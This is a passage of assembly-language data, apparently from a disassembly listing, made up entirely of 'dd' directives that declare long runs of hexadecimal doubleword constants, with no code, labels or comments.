		dd 8FD06827h, 642FE9ACh, 988A104Eh, 18E935BCh, 11876F41h
		dd 89B78E85h, 3EA0302Ch, 0FBF8008Bh, 850A3C3Bh,	565490C2h
		dd 7707C888h, 8301B554h, 7B102579h, 380E2284h, 0F47616F7h
		dd 30C8D379h, 79AAA3F8h, 0E16129C0h, 3D7DEECFh,	0AC8A30D1h
		dd 1684A125h, 0A0782014h, 73E90CB3h, 60EF34C4h,	6280D427h
		dd 0BA56A9A6h, 42F8909Ch, 0BDB7105Eh, 33ED9200h, 0CB6BDA94h
		dd 1F87B58h, 0FB7DAFFAh, 7073EC42h, 0BC00F22Eh,	831D241Eh
		dd 0C0709EF3h, 0FD467C90h, 0C4B3A278h, 1582B083h, 0D30BA0B7h
		dd 3F3E139Bh, 2C5D0066h, 836234D8h, 888AE829h, 0F887AD81h
		dd 0AFD10EDFh, 99F2C024h, 0B617C8h, 962AF5D5h, 556DB1B9h
		dd 0A841FE18h, 0B117763Fh, 63ACA157h, 9CAC7734h, 0CA20225Dh
		dd 2040BC57h, 7A045ECh,	0F8C45305h, 0F0228B09h,	0A4A30357h
		dd 410044F2h, 0AE6DC592h, 76DDD859h, 51EB0E3Fh,	8C633339h
		dd 80ACB46Eh, 8F84188h,	9938EC88h, 9E8790A0h, 24B6826h
		dd 67FB0h, 0BD2EB0ABh, 80942A1Ch, 6FE56D85h, 247C8C22h
		dd 0C3B7C07Ah, 930B7735h, 9982F4D0h, 3FBF2B4h, 0AC1E0329h
		dd 25C85D10h, 0F47616D3h, 56147009h, 84DC38FAh,	66AA008Eh
		dd 0D6DB8A5Ah, 12E2AEAh, 67CEE0B9h, 55C4C1F8h, 0B8BC88h
		dd 649018E2h, 0A187C8ECh, 282EEC99h, 1D8D9A80h,	5D7F2669h
		dd 0C25A5CB3h, 0E0C457B9h, 12C604A8h, 0A714400h, 5FF7DC5Eh
		dd 676494A8h, 877A10E4h, 841C802Ah, 67803CD1h, 69641841h
		dd 566E24FBh, 0E114FF8h, 95956D7Bh, 52FC08Ch, 0DB50AAh
		dd 0DF5E605Ah, 8BD97FCEh, 0F83EA126h, 0F0F30A40h, 52F40521h
		dd 0C468920Dh, 0C038B2F8h, 2E1E62EFh, 42223CBBh, 0A3DD7701h
		dd 0E8FE0C88h, 5C9389A5h, 93AD3C08h, 0F254633Ah, 74C05EC4h
		dd 0AFDECA3Ch, 1DAD1CB2h, 0A3F24963h, 0A043CC38h, 0F4017D00h
		dd 0DF7CBC56h, 636813D2h, 2F004411h, 0A4EA2379h, 0B8E0C24Fh
		dd 0EE3F50F7h, 1E196063h, 37D900AFh, 0CF294766h, 521446C1h
		dd 5C7E468h, 0C54B8514h, 14418088h, 0FB18A5FDh,	5837400h
		dd 4F25AE55h, 0F88BE516h, 2A247704h, 0BEC50D0h,	91849104h
		dd 516F7C12h, 40449420h, 80009730h, 0E8A33DE7h,	0A4A964h
		dd 8890FA4Ch, 271AD561h, 0EB52415h, 938610F4h, 47EBF8A0h
		dd 4468FF00h, 9059AC2h,	49B90848h, 19126795h, 0BB587090h
		dd 2E1A0186h, 0C3AD5C34h, 0E14BE910h, 91C1A559h, 6C3DA300h
		dd 10B95E32h, 0D91EBD80h, 16004342h, 0ED8C037Dh, 5AB856Eh
		dd 0B03211AEh, 0F87082E0h, 0D4BA6C58h, 0AC835101h, 0ADB8F787h
		dd 0CC4EE2h, 0C3B76237h, 0BC87796Ch, 940F404h, 9C8806CCh
		dd 4E84FEB4h, 1C44401Fh, 0BEB870FAh, 7BA76D16h,	71B71022h
		dd 3C801314h, 0C98C8350h, 0F4E8F251h, 4A01AA08h, 98B3C170h
		dd 198133FEh, 8F89E694h, 88C50B1h, 49C1011Ah, 0C25BFCE4h
		dd 0C4CCF17Bh, 0E801E5D4h, 0E6454D35h, 0AC62B5DDh, 47EF0178h
		dd 14583F6Eh, 43190168h, 7D234980h, 8CFD443Ch, 807EAF00h
		dd 0F673E3E8h, 0E6A116A6h, 5978BC12h, 18782270h, 0F6A7FCE9h
		dd 0EB02A57Eh, 0F62A19E1h, 0DC7137h, 9A42F7CCh,	0D42CF183h
		dd 893AFC85h, 0E6A85E6Eh, 0A36003Ch, 780382FCh,	0AFECD7C4h
		dd 3948B70Ch, 0A8B6205Ah, 70ED0AE8h, 0DFDA02C3h, 69037AADh
		dd 69577469h, 0AF370084h, 6C9C91D3h, 303802D1h,	0C8078A5Dh
		dd 850030D1h, 19F9110h,	37EC7F6Dh, 0F041CC79h, 71F772ABh
		dd 5314D812h, 230FA021h, 68E048h, 65CB45B3h, 34C693F3h
		dd 0AE0DA300h, 8A8DB0C3h
		dd 49E1D66Fh, 88447B80h, 953E5F3Eh, 7D1057BCh, 2EC7BE04h
		dd 0E8887518h, 3AAD4409h, 3F1922h, 4696A161h, 219C44AAh
		dd 6C10E0B9h, 27713F80h, 0B6252467h, 0E748A01Ah, 756F376h
		dd 0F617122Eh, 97F950E1h, 9F05D5C5h, 0D5067B1h,	0BC21A425h
		dd 0BAE5A931h, 74FB9DCh, 511DC4E3h, 0A084C0C2h,	0C9E01250h
		dd 22649D49h, 0CE860433h, 0D5ECFA04h, 0C1DC88CCh, 34C81494h
		dd 48378683h, 2E54F8B5h, 0EDE70511h, 800FD462h,	7EB96555h
		dd 0BC6A5726h, 0ED01FD89h, 0B6788058h, 2AAE5837h, 8018853Fh
		dd 0C8FD3AFFh, 4C945FCCh, 0CC441F73h, 50DF5580h, 19C5203Dh
		dd 0B9A04008h, 0F52E1BA0h, 1E520C03h, 0CEDEA99h, 428C4181h
		dd 0A0096729h, 101E39E9h, 0F62E3334h, 0AF261F29h, 12D79ECBh
		dd 961071D6h, 9FC02C04h, 7B75F622h, 62A4263Eh, 0F0806918h
		dd 0F8A02EDBh, 7B925894h, 26ECE09Ch, 6F3C370Ah,	88BB1991h
		dd 0CEE2B9F9h, 0C2340078h, 7A54AFE8h, 0B20115CAh, 2CC1232Fh
		dd 0C380494h, 3893FF80h, 0FDED9C17h, 1537D099h,	47E3E700h
		dd 0EA160A49h, 56F826E5h, 90104014h, 59029953h,	0E7C1744Ah
		dd 7EC7341h, 0B37635DAh, 86F3A412h, 0C030B04Eh,	0C03124EDh
		dd 2B38E781h, 0AD09355Bh, 4632907Ch, 60B65AE4h,	0AD4431D0h
		dd 0B7C5AB00h, 8ECA133Fh, 662601B2h, 59802B94h,	0FCCC2548h
		dd 0E4A40683h, 4B172A78h, 0C89428A8h, 0A0127CE6h, 0ED0CABBh
		dd 0E01FFC20h, 9B86B246h, 3E5E091Bh, 9018676Ch,	4F4838A7h
		dd 0D65C159Bh, 0C0B4FD8h, 0D5189019h, 6E3100FEh, 9F928087h
		dd 2D009469h, 890B25ECh, 4801AF77h, 305B4097h, 9691593Ch
		dd 0BAF94227h, 0CA4C84DCh, 0C7259CB3h, 1361BC20h, 0FAE6EBECh
		dd 5C338B0Bh, 0E0DC8006h, 0BA6C950h, 4F8FB8CAh,	0F846AC29h
		dd 0BADC8A41h, 60FE3Eh,	75C2283Dh, 0B3454EDDh, 1D41B43Ah
		dd 4F852CFEh, 6C80DA0Ah, 1801BF6h, 42BF7EEAh, 9F289D45h
		dd 5E9DBD29h, 66CDAA03h, 7642C00Ah, 0F0B0417Eh,	9C6A1DDh
		dd 0F8304006h, 0C1BC0089h, 85D27780h, 0C00E6DEh, 0CD4F7465h
		dd 7B9E6E7Eh, 0CA2710EEh, 82706010h, 0F105FF39h, 0A0D5D1F0h
		dd 0C6783C0Ch, 614B5989h, 0B682E106h, 330B933h,	4E6D9AA2h
		dd 0F0044068h, 0D0AAB4B0h, 46339D04h, 11C8C9BDh, 7CF627CCh
		dd 0B55968A0h, 0DF271884h, 3A6B2105h, 405C3E30h, 0DCD0A2h
		dd 0D2F12E38h, 6497C1DFh, 0AA80A654h, 3072BB22h, 4C419598h
		dd 0C606E080h, 501BD81Ah, 183E7C80h, 999A555Eh,	0A100E4F8h
		dd 0E80406B8h, 1590E0Ah, 422E1869h, 0EC16888Ch,	0AC0CDD45h
		dd 71D004CAh, 41276048h, 540C8230h, 7907300h, 0E63C789Ch
		dd 88961431h, 0DD1E7C05h, 0A81101AEh, 256B5149h, 89DCF408h
		dd 8D18228h, 7459DA18h,	0EE5776C9h, 8A2F004Fh, 2A507806h
		dd 440C16B8h, 814E556Bh, 26310082h, 809E01CBh, 0F102380Eh
		dd 0B7CCFF74h, 96C4A6ADh, 0AC542A51h, 0F14818B4h, 0A4634044h
		dd 39C4FC00h, 2F095C32h, 299301A8h, 6926CEB1h, 6D5C2040h
		dd 944700E9h, 12EC7F52h, 0C832D9h, 0D00FFA26h, 2E074BE7h
		dd 7E0D8707h, 0E0AD9131h, 0FD256CE0h, 423818BCh, 4DD2C781h
		dd 42B58380h, 7F218F10h, 39808591h, 414718E7h, 0B80ABBAEh
		dd 24116DF5h, 95A14130h, 30866310h, 85F86720h, 3900DE99h
		dd 7721E289h, 602F56F0h, 6C0351D4h, 68021D75h, 9EF3604Ch
		dd 65E02008h, 0C1019706h, 1573E622h, 90889360h,	6C858790h
		dd 5404E12Dh, 115893A3h, 0AC613090h, 47C12D69h,	21809531h
		dd 74DFA98Dh, 7200814Eh, 6C7338ABh, 0C6F4BFAh, 4C0EF9A5h
		dd 60309ED0h, 0F167710Fh, 9AD00372h, 6AB54D05h,	868C9111h
		dd 0BC6D0F08h, 8D441180h, 1D394256h, 2EC6596h, 127ADAA2h
		dd 1CC08DACh, 1C916F9h,	169140B4h, 41090A9Bh, 0B918E63Ch
		dd 21220330h, 18179DF7h, 0D19A9E10h, 7300C0A1h,	0BD5C126Dh
		dd 71B8D2h, 58F9B6D4h, 0EAA97BFBh, 9E3029D8h, 7E39C0A3h
		dd 0E2ED2216h, 0BAA719C8h, 2B0F8F00h, 5B2DE3F9h, 810DAC39h
		dd 0C1D620A1h, 0C18861DEh, 7F898F22h, 1E143389h, 3EB60F20h
		dd 951183BEh, 9B6201DAh, 10870126h, 2302BF9h, 0E730E4Ah
		dd 860A3A9Eh, 23E512ACh, 5EC48D5Ch, 67B37746h, 19952A10h
		dd 92170E90h, 554F8C75h, 0B4AEC2C0h, 9A039693h,	4331B0ECh
		dd 0F22818A8h, 554C496Ah, 0FFE22C2Ch, 0C05DF60Eh, 0F3648F81h
		dd 0ED9C0038h, 91A6DBDCh, 64A9150Eh, 92400076h,	0F79D1966h
		dd 61108106h, 219C14E8h, 528385D4h, 0EAE0158Ch,	37ECBB4Dh
		dd 0D5145200h, 6592C42Bh, 21D7005Eh, 4C0D89F0h,	6077F358h
		dd 0DB690A0Ah, 0A829744Dh, 0C6B909h, 4A36F64Bh,	96870046h
		dd 71C21AC1h, 0F0A8E4F0h, 12220D40h, 488548D4h,	8FA81780h
		dd 74172ED1h, 14007D22h, 2D23DCEEh, 5E941C6Eh, 438C1266h
		dd 15F99EE4h, 0D8F2E11Dh, 94D10020h, 85670E46h,	6900E638h
		dd 0D0526B2Fh, 241C8D8Eh, 9124DC3Bh, 98600A5h, 35AAB974h
		dd 0B60E2477h, 0C22283A4h, 5900DFEFh, 0CD80301Ch, 3995FBh
		dd 7EFF86E8h, 8EF584E5h, 993CDD02h, 0A1E65FEAh,	0EC905BB8h
		dd 0A6E9E00h, 0F4A39491h, 59101580h, 1D2E90FAh,	42AFB3Bh
		dd 0D285D30Fh, 992C866Ch, 87F0A87Bh, 8A393A6Dh,	3A037F03h
		dd 613CCC9Ah, 13DDBE13h, 10434B49h, 0B0C56C0Dh,	0CE0C55E2h
		dd 0A0076781h, 0FF10140h, 1728D47Eh, 902A31DFh,	89C44h
		dd 9E4EF55h, 2A517333h,	0AAE7A13Ah, 380194B8h, 165835C1h
		dd 0B19D0E94h, 0C318C0B4h, 5DDC1C42h, 35EC737Bh, 0B1AF512h
		dd 0B11BCC44h, 40DA9544h, 3DAF2EB3h, 736A0052h,	863B8D06h
		dd 607D9835h, 9F30D5B0h, 1E1799A2h, 0EB9901BCh,	40641267h
		dd 122033E5h, 702070E7h, 8A562Eh, 466C1393h, 3677407Bh
		dd 1841F500h, 0CE2F55A8h, 9A117944h, 8952A98h, 0D53A3AD8h
		dd 0A3307086h, 3922B96Bh, 0F2E110ECh, 0D7007C81h, 0C6DA57FBh
		dd 53B6170h, 6C38B71Ah,	4B944A9Bh, 0CA2646A8h, 0BDA4F400h
		dd 1668AFACh, 6F6E183Eh, 0B9F859B5h, 0B3CA4900h, 0EB4688B2h
		dd 2C180260h, 0D70272Dh, 4E13E048h, 6491EDECh, 413B9E0Dh
		dd 14306AE1h, 7EA200D2h, 0D06655DDh, 0E1C1E384h, 0B51310E1h
		dd 20B43996h, 0BBCF3A74h, 0A0386012h, 8F016422h, 44375214h
		dd 82A7EFC2h, 2212FF3Ch, 88A069F2h, 7CAAD23Ah, 78B62124h
		dd 1F90ECC7h, 360F762h,	5EFDFE96h, 980B5AAAh, 1513640h
		dd 735397B8h, 6E704824h, 0B5E0D979h, 6F7635BAh,	0B1362007h
		dd 6402B029h, 35C447Dh,	38411622h, 91A178AEh, 0C903623h
		dd 0B9D5EC10h, 0EF420Dh, 0B7D3F3E8h, 1471BEh, 47051D7h
		dd 0DE27C76Ch, 0CB8C4D48h, 91B80EE7h, 22B97B02h, 34C16AEAh
		dd 0FC8C1486h, 0A33706C8h, 4A275EB2h, 0C9339C00h, 2CA59FD9h
		dd 0FDEE3443h, 0CA40C428h, 71AA30D4h, 1DD5670Dh, 6646DC18h
		dd 0ADFB605Ch, 25148475h, 84D87F76h, 0A148B6E5h, 4E09F86Ah
		dd 0F0029E4h, 44BDA8C0h, 0E2924083h, 9EA29h, 8D19159Fh
		dd 1327F5A7h, 85E6F202h, 60111E49h, 49E4407Ch, 0F2E8816h
		dd 48C4E810h, 0A63E88B8h, 11129CACh, 9951428h, 0C72A59E6h
		dd 6F064CA0h, 0CA0B70A0h, 10927FA6h, 180B77D8h,	1165EF4Ch
		dd 0F7013F71h, 4B20D228h, 8051BB6Bh, 7011D5EAh,	3C9980BDh
		dd 0A5AACD33h, 0DDCE0057h, 5610482Eh, 0E6E21F20h, 1294AB4Dh
		dd 950E8741h, 6D818076h
		dd 0B8302E54h, 5290A464h, 4570B47Dh, 6C099EB5h,	2F5868A6h
		dd 0AAF27Ch, 0DB807316h, 239E0A97h, 8EBA0802h, 0AE86E563h
		dd 0B0B708C8h, 38B97C68h, 8522D901h, 92917E18h,	1040F9A8h
		dd 1CCD82Fh, 7E140367h,	0A9952838h, 9458F83Bh, 0F3DAB5C0h
		dd 0D700D550h, 1E3335DCh, 38F25B0Bh, 8782FAF4h,	4E7A3846h
		dd 7844B844h, 0F0B0FDh,	1825B57h, 436FF29Ch, 5F885954h
		dd 0A542DA02h, 0A56B202Eh, 5088828Ch, 8F3E1E29h, 7498981h
		dd 8A3F3C10h, 0DA6B7AECh, 104C0AC1h, 1412F762h,	0B9D44104h
		dd 2013CF1Eh, 4D066680h, 0B4B19B09h, 6CDC8122h,	0C0488025h
		dd 0E30084D7h, 0B41B9470h, 12E3473h, 0CFDD1C69h, 88DEDA3Eh
		dd 0A623F479h, 6AAEBFFCh, 73ACE3E0h, 28095F88h,	31F92200h
		dd 0C17792F0h, 0CB8D09FEh, 0F4A083EDh, 813A1617h, 8FCEE0A0h
		dd 64188426h, 3DF7E853h, 0F93A008Bh, 99DEED44h,	6F41157Fh
		dd 90189090h, 505CC0E4h, 0CB4DECh, 0E59FC514h, 2085DEFBh
		dd 2697E448h, 0B48954A4h, 224C3178h, 924020D6h,	0F46D9D2Bh
		dd 78326028h, 9CD3D481h, 0CF26D1E1h, 0EC1B4111h, 6AF07824h
		dd 95443CFCh, 20804096h, 0E3FFB568h, 60CB0A6Eh,	81E4DDEFh
		dd 7A56D60Bh, 0E813DC26h, 0FD0E6200h, 0F2F5A105h, 5C0B49ECh
		dd 0EE6E6C00h, 0D77EA83Dh, 5D2C2048h, 94E5266Ch, 0B81120AEh
		dd 914E1601h, 0C0471794h, 1094CA9Fh, 8A07FC88h,	12300E76h
		dd 6DC8D024h, 741A0DE9h, 4169223Fh, 0EFCC43B5h,	95609631h
		dd 0E008091h, 2734F5ABh, 204468Ah, 8379CB12h, 861404h
		dd 0A326DCE7h, 70090382h, 3243729Eh, 9288C9DCh,	8225760h
		dd 471220B5h, 2F065D0Eh, 1814C573h, 0C4A618h, 83C2B3D8h
		dd 67C41FA8h, 98364905h, 0F048EC95h, 901849BDh,	0A87DB1B2h
		dd 3EC1577h, 2C446E48h,	0D4640067h, 270094CAh, 0E230111Fh
		dd 0F00C815h, 8B529299h, 0DDC91Ah, 4B871D06h, 0B2389DA0h
		dd 1062A096h, 13D85AE9h, 6161DC0Dh, 388F7F08h, 64258888h
		dd 5956190h, 4225299Fh,	2FCFF9EAh, 3F3AC48h, 0E73C8482h
		dd 36EF4D42h, 0B61FA070h, 0DB0306A1h, 0F0803ECEh, 3824AA98h
		dd 16A936AEh, 5FF101F0h, 97CDE9D3h, 10462211h, 2E89A99Eh
		dd 79B894Dh, 81905A13h,	0EB4FF773h, 0AF88A9E0h,	0F14CD914h
		dd 11F05DF8h, 0F2181F62h, 493DD1C2h, 1ED2331Fh,	9A2CA280h
		dd 11A6809h, 5659874Fh,	0EA3E5337h, 328584A5h, 187B2690h
		dd 0E46B8B43h, 0DF940156h, 22E5CA34h, 707493E4h, 0A2888Ch
		dd 7DDB41A1h, 0DD04595Fh, 8C318601h, 0D4301869h, 83BA7001h
		dd 472EA871h, 0F9EBA0D2h, 655726EAh, 0B5486048h, 15009066h
		dd 0D9B84DC4h, 2FFD289h, 6C247851h, 0E471E728h,	2E637681h
		dd 6C25A6D4h, 9B05F9F4h, 0C8B613BCh, 2A4E6C24h,	148ADC22h
		dd 0FF4E8498h, 80EF3C46h, 6E8F0021h, 42A1E877h,	0B70E2E06h
		dd 96645EEh, 0F998E950h, 0E878E073h, 1461E9ECh,	5D03442Dh
		dd 0AE597F9Eh, 0B860DA0h, 4E41B500h, 8CC81DA2h,	6120A094h
		dd 0AC700506h, 30A384AFh, 50860EB4h, 12876E00h,	543975EBh
		dd 4118014Dh, 67C02B59h, 3E8C484Bh, 7C50EC16h, 0E980A71Dh
		dd 8F414A6Bh, 0B52C0340h, 77F01CE6h, 7FE2D3A8h,	0B74234B8h
		dd 80142Ah, 5CCB6BB1h, 98D4ACE9h, 8B74CF3Fh, 5F9E8935h
		dd 9318B10Ah, 9CC213E5h, 8B014C84h, 16F8BB05h, 3891B4D5h
		dd 6E3B04BDh, 1CC8B89Bh, 35CA0EAh, 0AAC0092Eh, 70C83B9Eh
		dd 851AE682h, 64A109C3h, 833F00E8h, 0CB446B24h,	0F644113h
		dd 404093C8h, 6B6A333Eh, 9D9F0A18h, 39FC61h, 609CBD3h
		dd 0E3ECA92Bh, 0AFC51C02h, 0C01B9BA8h, 6D398919h, 2969A825h
		dd 597880D0h, 4F06422h,	0E29D8F03h, 0B924C055h,	2D00BB12h
		dd 5E643EFh, 7E5E387Dh,	0E280024Ch, 0DBD789E4h,	670048ECh
		dd 41AF6313h, 545F376Ah, 392CC30h, 76E2A712h, 10C0AB17h
		dd 0C1C59BECh, 4C120A9Eh, 0BBB79008h, 0DC36F03Ah, 6E275890h
		dd 3D24108Bh, 0BD90056h, 0FB592892h, 3002AEDCh,	151825F7h
		dd 5A8D109h, 59FC3h, 906B9299h,	0F902BF18h, 86B9717Ah
		dd 6FD0C0A3h, 0E7A8A993h, 7913020h, 3C7CFE15h, 684C027Eh
		dd 9FF3F8C1h, 77DF3820h, 6600A9ACh, 6AB6CCF9h, 40AC0B1Dh
		dd 4C689E60h, 2C7B98E3h, 0FD53D800h, 93865AD0h,	56143831h
		dd 0E1461605h, 5F9C8C6Ah, 0EFBE700h, 71066EA4h,	0A080529h
		dd 0C2F0AEE6h, 1A209D70h, 1C987A68h, 800340CCh,	0A4DB1F25h
		dd 0F900DA17h, 0D42F9EC5h, 0E4450D77h, 0B448FBE5h, 820A4436h
		dd 7E6D8007h, 9819B8A3h, 0AFD694h, 58F4D8Ah, 0D5153DACh
		dd 7974A148h, 0B19E2740h, 0B2230788h, 63611EAEh, 30CC57C9h
		dd 0AC00BD34h, 8E16375Bh, 26338147h, 40B8940Ch,	6C79434Fh
		dd 0DE2DD4E6h, 24CC0042h, 4EAA6A47h, 40B837E0h,	38E37F3Bh
		dd 0F88F9502h, 72EFAB63h, 627590h, 934892CBh, 2A03FE81h
		dd 0CD0BB009h, 0F8704B70h, 0F3850DFh, 0AED4EA8Eh, 9C7D3F00h
		dd 7772092Ah, 2966DE00h, 9340A3B6h, 61009438h, 0DF19B0Eh
		dd 0FF7E30FCh, 16863468h, 0E70C70DCh, 19DA8D7Fh, 28384E6Ch
		dd 85000370h, 0BA93BBF3h, 32231EBh, 5095B110h, 5BA09D84h
		dd 7B71EFF9h, 0B0AC1B14h, 961688D8h, 0CA348867h, 0EA71CC00h
		dd 0EC921F11h, 905F0B5Bh, 5C811638h, 8874ADCBh,	41057341h
		dd 897E1303h, 90941526h, 8853C0h, 172D98E2h, 8426BC3Bh
		dd 5D364300h, 7109F9ECh, 350D1993h, 11E1D87Bh, 0B862947Fh
		dd 493E5050h, 2862D40Ah, 7822EC26h, 4344E161h, 2B911C52h
		dd 41E7C804h, 0FE0592E5h, 9E3840C2h, 0B93363FCh, 0F84DE810h
		dd 2E26C0B8h, 17BBFA2h,	0D3093637h, 109E9DB1h, 38C1575Ch
		dd 56BC489Ah, 0CDEE04F8h, 8492741Dh, 0B2A4A4B8h, 0E4DEF601h
		dd 129427C1h, 0D287822h, 72830094h, 0D6CBC0EAh,	16F6C94Dh
		dd 0EFC8E004h, 7CC6BA52h, 934728A0h, 100844D4h,	0FB6EA22h
		dd 1689B7B5h, 16C4B08Ah, 4D18D89Dh, 6994FC00h, 1981A33h
		dd 0C521074Ch, 0CB7E18D9h, 246C6090h, 40F9ED60h, 289D2867h
		dd 22381F35h, 9C94A9EFh, 9F993E40h, 0D8CC004Eh,	0FBC1D5CDh
		dd 0F5396C8Fh, 7E239967h, 343D9529h, 6387C13Fh,	50F3A3CAh
		dd 22C45B1Ah, 0B67D2500h, 0E882E2D6h, 1270C2ECh, 0C8B8E741h
		dd 0F570FB4Fh, 4CC1C00h, 0E8B69A83h, 9B72C2Ch, 80AA0934h
		dd 10867049h, 46E3722h,	0F49E920Dh, 0CC8C535Ah,	0C57312B5h
		dd 2700C8C1h, 1E00C770h, 42A26326h, 5CD6E86Eh, 6C3E6BAEh
		dd 7F297631h, 4D42386h,	6D103663h, 253C08A2h, 609E8D0Bh
		dd 0C065CCE9h, 0EF3C4C4Fh, 0F7506F28h, 0D6054C90h, 7732036Ch
		dd 66BEACBBh, 76F5021h,	0E0E2279Eh, 91869D38h, 0A0941809h
		dd 6757823Ch, 24C40FBh,	777030FFh, 698C55A1h, 0CC24807Ch
		dd 601CDCE8h, 6A8B851Dh, 207F8E28h, 407E20C7h, 0D89335h
		dd 4A543774h, 9A00FCF7h, 60F41B4Eh, 1514FD99h, 5C7376B6h
		dd 4DED0900h, 333BC571h, 230F0B13h, 11B8A810h, 44708716h
		dd 0BB6070A6h, 8E4A92A1h, 0FA540025h, 2986F74Bh, 59C47059h
		dd 678146ADh, 98212AC5h, 199E8EF1h, 0BDBB002Eh,	3B9229F0h
		dd 0AA19F501h, 0E377432Fh, 981DCC33h, 0B62043A9h, 0CD88459Ah
		dd 7C0B9F7Fh, 7EA8C93h,	3EE0C509h, 4CD5914Ch, 6D820C19h
		dd 0EA228614h, 22182DA5h, 0D2941FD4h, 86113426h, 0E10D0F00h
		dd 7218E37Bh, 54CF8A16h
		dd 0A1936402h, 0A2D8C14Dh, 910AC010h, 0E23F7002h, 610CF4FAh
		dd 0A039EFD3h, 0B9212D01h, 507E50E6h, 7B782230h, 70A8E7E8h
		dd 5701C260h, 0A1EC0D7Ch, 0D1D82D39h, 47960904h, 51A5D440h
		dd 0F300C0B8h, 9494E8A0h, 1F68C0C7h, 40786E40h,	0CD972679h
		dd 839CF600h, 677706C2h, 9B7503BEh, 991C8027h, 0A0CCDDA0h
		dd 8303FC9Eh, 0EB933C14h, 0B8610170h, 389F96C5h, 5F48C067h
		dd 0A3C1B309h, 0E738997Fh, 6ADC302Bh, 5B514750h, 0B786C814h
		dd 0E0729E81h, 1A5FFB00h, 0FE5330C1h, 2A7A6A00h, 476DA3A4h
		dd 382395E8h, 19C03294h, 2C00856Ah, 92A61AB3h, 0D1C7B6h
		dd 5F9FDFC1h, 0D033ED7h, 6AC238h, 9C94E1ECh, 357FA0h, 3C40B8D3h
		dd 6AE62137h, 38B4173Bh, 10D4D807h, 820B934Ch, 4018116Ch
		dd 6F226E0Ch, 22F780B4h, 3777014Ch, 51945773h, 81483993h
		dd 60AF46Ch, 21D0C480h,	0E94C6F8Fh, 24310800h, 0A81A293Bh
		dd 9C1C9189h, 0CA76C0EAh, 0F99C7BDEh, 34B5FC07h, 22649D6Eh
		dd 4254B488h, 0A17F22D4h, 1AFCB11Ah, 13C1138Bh,	0BF00BA46h
		dd 0F94AE6F0h, 44E0B847h, 3A1403B8h, 2444E2h, 0C791E44Dh
		dd 0F8E72972h, 23513C20h, 0CE9AC387h, 1DDE3192h, 8E2860A6h
		dd 1B11DC42h, 0B4952C84h, 0A9899340h, 183F002Dh, 77A6DB6Dh
		dd 1D0026E2h, 1AF6D6CEh, 4E6829h, 4A16F349h, 6317E87h
		dd 0CEEB001h, 0BB72863Ah, 8C0C7461h, 0BC290751h, 0A0DCFC8Ch
		dd 91743667h, 0AF0AEA03h, 0D00DD410h, 0DABFC6h,	1244407Fh
		dd 9D9BC14Ch, 6C016E16h, 78050824h, 5888EF0Dh, 9AC53DB9h
		dd 2083D300h, 0B3FDDE9h, 2B7D417Fh, 5004AC90h, 1887F80h
		dd 9E131CBDh, 0D014276Eh, 23212AE6h, 9C580FF8h,	1945D6Ch
		dd 0AC69C738h, 1920153Bh, 80790C21h, 0F560163Ch, 3DAA6300h
		dd 89BB788h, 0D10D0AE6h, 7C4B8Ah, 10673EE3h, 8975A49Fh
		dd 0F2335813h, 0FB90C0D7h, 1B2BDh, 377FC576h, 0C07D6E15h
		dd 0FA71A614h, 0CDAA03A8h, 467A3992h, 0D324D4B0h, 26AF0041h
		dd 1124D9Bh, 57A81801h,	0BB0ECBEh, 0A07F3CCh, 0CFA92CAh
		dd 237092B4h, 84C0B680h, 2102EF46h, 829439C7h, 9854C23Ah
		dd 7784280h, 0A9E7CBAAh, 0E94E9099h, 624462Fh, 3026C13h
		dd 0CB367901h, 599DE4Ch, 0E6CC71EFh, 850C1B7h, 7976120Ah
		dd 113A8018h, 0EB7F4FABh, 9CD99B00h, 7103948Dh,	7989116Ch
		dd 0F744C2EFh, 69846985h, 0E5EA9017h, 0E6FA8B23h, 182731C0h
		dd 22CFEFFh, 4115EE4Ah,	9CCC1091h, 0C3B8CA00h, 0D3220EB7h
		dd 993030Fh, 0FBA331CFh, 0CD916CB0h, 86341558h,	0B0891173h
		dd 21760098h, 0D99F6D8Ah, 0B381B07h, 892A0547h,	38F48E7Fh
		dd 0F6C78FDh, 2418C969h, 0F2104616h, 980021BEh,	0B4E7DABCh
		dd 4CEC348Ah, 6002907Fh, 0AD6675F1h, 0F300F059h, 0B6E6A056h
		dd 927E5Ch, 422AF911h, 1991BA3Ch, 6AE40B04h, 10C12F38h
		dd 0E062A7EAh, 8091DA81h, 0D325E855h, 2ECAAF09h, 78208486h
		dd 90075884h, 208F069Ch, 586D22CDh, 27F4B842h, 5CA90110h
		dd 6C1B58CCh, 0A061EC25h, 0AA020592h, 9DF01898h, 507197h
		dd 207F823Dh, 8E62A130h, 740AAB3Bh, 10904D7Bh, 25243B22h
		dd 0DC209E67h, 0D83C01B5h, 324FA101h, 490A7CC4h, 118F34F8h
		dd 28B63E10h, 0CC839C18h, 324B6AC9h, 3BFF3D90h,	0E49EFFF2h
		dd 5041502Eh, 78F402A9h, 8B9B0095h, 7C136E8Fh, 0F324674Bh
		dd 0E402470h, 3FF578B4h, 404F5CEAh, 3DCC0620h, 0FBA03236h
		dd 0E10FCB1Eh, 0E06D1958h, 9C959E6Eh, 539B008Ah, 0BBB5175h
		dd 9900784Ch, 372CD023h, 57F72A2h, 1D58F31Bh, 0B90C8483h
		dd 21F22F00h, 53DF0D44h, 90B3220h, 185DEE23h, 9C001479h
		dd 0F4356B90h, 5359016Fh, 0A27CFC71h, 4D9EC0C2h, 0C8207D4Fh
		dd 4BCC3A0Dh, 3534409Dh, 0AF3713Ch, 9636A300h, 84A55094h
		dd 0D29C0238h, 64B4493Bh, 0B820D47Bh, 780DA444h, 7DAB37F3h
		dd 7EAC6268h, 330024D9h, 94CCD48Ch, 869600D5h, 60771304h
		dd 4609B403h, 8556FB66h, 0C084CBA4h, 942620A8h,	3C204368h
		dd 7B553FE0h, 1ABD4300h, 17E39151h, 4C4702D0h, 0CEA47797h
		dd 440F9498h, 9F3F7D00h, 0E80480Ah, 9EE4E315h, 1C50928Fh
		dd 8F1BCAC2h, 920445Dh,	3C39EFACh, 902D80B4h, 4F0660h
		dd 0E137115Dh, 0D4FF7342h, 40C0691Eh, 0AE80A49Fh, 663CAC04h
		dd 7890507Eh, 0C72D13E7h, 1EBCE399h, 390F584Dh,	0E8981689h
		dd 0C1F950D7h, 0A3E6000Ah, 0DF3B86Fh, 0CD0B657Fh, 446AD03Ah
		dd 499D0018h, 0FDE7D176h, 4C014426h, 0E4A76D66h, 3C307E70h
		dd 6600045h, 9E65138Bh,	68164C05h, 0F4D02D93h, 98178227h
		dd 300D487Ch, 20413780h, 0A00037Ah, 2F259A96h, 2C1BE23Fh
		dd 11B0E7EEh, 629E089Bh, 0E82DBE06h, 0DEAEC421h, 7C10355Fh
